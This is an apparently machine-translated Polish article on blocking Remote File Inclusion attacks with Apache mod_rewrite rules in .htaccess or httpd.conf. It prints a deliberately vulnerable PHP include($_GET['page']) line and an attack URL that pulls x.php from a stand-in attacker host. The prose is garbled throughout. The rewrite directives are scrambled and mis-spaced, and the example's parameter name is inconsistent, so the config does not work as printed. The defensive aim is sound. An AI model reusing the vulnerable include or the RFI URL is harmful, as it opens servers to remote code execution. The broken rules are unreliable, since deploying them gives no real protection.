..


Linki sponsorowane

Korzystanie z mod_rewrite aby zapobiec włączenie zdalnych plików

Artykuł napisany przez Claudio Garau

Jednym z najczęstszych ataków poniósł stron internetowych odbywa się poprzez próby włączenia plików zawierających złośliwy kod, teoretycznie rzecz biorąc na atak jest bardzo prosta do wykonania, do tego tylko dlatego, że plik zawierający złośliwy kod i wpisz adres URL przeglądarki.

Ten rodzaj ataku, znany termin techniczny dla Remote File Inclusion lub z prostym skrótem RFI, często wiąże się z trybu zwanego włamań XSA (Cross-Server Attack) na ogół składa się złamać zabezpieczenia witryny sieci Web lub nawet serwera WWW, czynnikiem, który czyni go jeszcze bardziej niebezpiecznym RFI.

Do przeprowadzenia ataku RFI, atakujący potrzebuje "pamięci" w aplikacji w celu dokonania integracji zdalnie, to "przestrzeń" jest zwykle "dziury" (błąd) bezpieczeństwa, które sprawia, że ​​jest podatny skryptu.
Klasyczny przypadek wycieku do wrażliwych RFI jest związane z upływem nazw zmiennych do strony poprzez, tylko kawałek prostego kodu tak, aby zagrozić aplikacji:

 



 # Include plików za pomocą zmiennej kwerendy przeszła przez







 include ($ _GET ['page']);

 
W kodzie mamy niezdefiniowanej zmiennej lub lepiej być określona w zależności od parametrów przesłanych przez kwerendy, jeśli na przykład bezpośredni adres URL do strony zawierającej wniosek aukcji był podobny do następującego:
 



 http://www.sito.com/index.php?pagina=news.php

 
wartość zmiennej $ page jest równa "News" atak na tej aplikacji mogą być wykonywane w ten sposób:
 



 http://www.sito.com/index.php?pagina=http://www.attacco.com/x.php

 
Plik "x.php", w przypadku udanego ataku mogą obejmować wszelkiego rodzaju złośliwego kodu i może spowodować uszkodzenie znacznie bardziej istotne i ostateczne niż prostota ataku można myśleć.

Na szczęście, istnieją pewne techniki samoobrony, które mogą być stosowane w celu zapobiegania takim atakom, podczas tej krótkiej dyskusji będą analizować w oparciu o moduł przepisywania URL (mod_rewrite) udostępnianych przez serwer Apache Web, które mogą być wykorzystywane przez metody inny.

Jeden z najbardziej klasycznych do wysyłania instrukcji do serwera Apache Web używa klasycznego. Htaccess być zawarte w folderze, który chcesz chronić przed atakiem.

W pierwszej metodzie możemy użyć jest wprowadzenie prostych reguł w a. htaccess:






 RewriteCond% {QUERY_STRING} (.*)( http | https | ftp): \ / \ /(.*)







 ^(.+)$ RewriteRule - [F]



Reguła stanowi, że sformułowane w ciągu kwerendy ("{QUERY_STRING}") nie mogą być przekazywane argumenty zawierające przyrostki "http", "https" i "ftp", bez względu na zawartość poprzedniego lub następnego ("(.*)" ) parametrów. W takim przypadku serwer zwróci błąd typu 403 (zabronione).

Ci, którzy mają możliwość bezpośredniego dostępu do pliku konfiguracyjnym Apache (httpd.conf), może być włożona w prosty kontener zawierający dyrektywy może mieć wpływ porównywalny z zasadami określonymi prededentemente:






 # Sprawdź czy mod_rewrite jest dostępna







 Mod_rewrite.c> <IfModule







 # Włączyć silnik przepisywania URL

 





 RewriteEngine on

 





 # Umieszczamy naszą regułę przed RFI







 RewriteCond% {QUERY_STRING} (.*)( http | https | ftp): \ / \ /(.*)







 # Blok wniosków o ewentualne włączenie i marek







 # Używając vraibile środowiska [E = nazwa_zmiennej: wartość]







 ^(.+)$ RewriteRule - [F, E = RFI: true]

 





 </ IfModule>

 





 # Creaimo dziennik próbuje RFI, że identficato







 # Wcześniej za pomocą "zmienna"







 CustomLog / nazwa_folderu / rfi.log połączeniu env = RFI



Po napisaniu dyrektywy do pliku konfiguracyjnego, należy zapisać zmiany i ponownie uruchomić serwer Web odniosły skutek należy pamiętać, że na koniec aukcji, jak i na zewnątrz zbiornika została włożona wniosku o utworzenie pliku dziennika przewidziane są wnioski z odległych włączenie pliku i monitorowania tej małej ", zauważa blokowanie ataków RFI", odkryjemy, że próby Remote File Inclusion na naszych stronach internetowych są mniej częste niż myślisz.

W tej samej kategorii ...
E-Learning
Linux (Kurs) Linux (Kurs)
Kompletny przewodnik po systemie open-source. Począwszy od 49 €.
MySQL (Kurs) MySQL (Kurs)
Zarządzanie bazą danych open-source. Począwszy od 39 €.
PHP (Kurs) PHP (Kurs)
Pełny kurs tworzenia dynamicznych stron internetowych. Począwszy od 49 €.
Linki sponsorowane